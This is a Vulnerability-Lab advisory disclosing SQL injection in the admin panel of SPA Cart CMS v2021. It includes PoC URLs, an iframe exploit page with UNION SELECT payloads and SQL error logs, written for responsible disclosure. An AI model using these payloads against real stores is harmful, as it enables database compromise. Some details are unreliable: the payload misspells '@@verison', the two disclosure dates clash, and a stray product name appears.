SPA Cart CMS 2021 SQL Injection

SPA Cart CMS version 2021 suffers from a remote SQL injection vulnerability.


MD5 | 2c8906781b9009999f2991b0eacccc39

Document Title:
===============
SPA Cart CMS - Multiple SQL Injection Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2304


Release Date:
=============
2021-10-18


Vulnerability Laboratory ID (VL-ID):
====================================
2304


Common Vulnerability Scoring System:
====================================
7.3


Vulnerability Class:
====================
Script Code Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
SPA-Cart - Single Page Application. Fully featured eCommerce CMS platform. Very fast ajaxfied pages.

(Copy of the Homepage: https://spa-cart.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the SPA Cart CMS (v2021) web-application.


Affected Product(s):
====================
olegkhorev
Product: SPA Cart CMS (v2021) - Content Management System (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-10-01: Vendor Response/Feedback (Security Department)
2021-10-02: Vendor Fix/Patch (Service Developer Team)
2021-10-10: Security Acknowledgements (Security Department)
2021-11-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Full Authentication (Admin/Root Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A remote sql-injection vulnerability has been discovered in the official creative zone web-application.
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms
or file system of the application.

The remote sql injection web vulnerabilities are located in the `id`, `shippingid` and `zoneid` parameters of the
`category`, `products` and `shipping_charges` modules. Remote attackers with privileged panel access are able to
inject and execute own malicious sql commands to compromise the integrated database management system (mysql).
The request method to inject and execute is GET and the attack vector is located on the client-side.

Exploitation of the sql injection vulnerability requires no user interaction and a privileged application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] category
[+] products
[+] shipping_charges

Vulnerable Parameter(s):
[+] id
[+] shippingid
[+] zoneid


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote attackers with privileged account and without user interaction.
For security demonstration or to reproduce the sql injection vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://spa-cart.localhost:8080/admin/category/[ID][SQL-INJECTION!]--
http://spa-cart.localhost:8080/admin/products?sort=[ID][SQL-INJECTION!]--&direction=0
http://spa-cart.localhost:8080/admin/shipping_charges?type=escape&shippingid=[ID][SQL-INJECTION!]--
http://spa-cart.localhost:8080/admin/shipping_charges?type=escape&shippingid=&zoneid=[ID][SQL-INJECTION!]--


PoC: Exploit
<html>
<head><body>
<title></title>
<iframe src="http://spa-cart.localhost:8080/admin/category/-1' union select all 1,2,3,4,5,6,7,8,@@verison--"></iframe>
<iframe src="http://spa-cart.localhost:8080/admin/products?sort=-1' union select all 1,2,3,4,5,6,7,8,@@verison--"></iframe>
<iframe src="http://spa-cart.localhost:8080/admin/shipping_charges?type=escape&shippingid=-1' union select all 1,2,3,4,5,6,7,8,@@verison--"></iframe>
<iframe src="http://spa-cart.localhost:8080/admin/shipping_charges?type=escape&shippingid=&zoneid=-1' union select all 1,2,3,4,5,6,7,8,@@verison--"></iframe>
</body></head>
</html>


--- SQL Exception Logs ---
Error: MySQL
Statement: SELECT all FROM products p GROUP BY p.productid ORDER BY p.status DESC, p.1 LIMIT 0, 50;
Exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0, 50' at line 1
-
Statement: SELECT all FROM products p GROUP BY p.productid ORDER BY p.status DESC, p.1 LIMIT 0, 50;
Exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0, 50' at line 2
-
Statement: SELECT all FROM products p GROUP BY p.productid ORDER BY p.status DESC, p.1 LIMIT 0, 50;
Exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0, 50' at line 3


Reference(s):
http://spa-cart.localhost:8080/admin/category
http://spa-cart.localhost:8080/admin/products
http://spa-cart.localhost:8080/admin/shipping_charges


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact ([email protected] or [email protected]) to get a ask permission.

Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE




Related Posts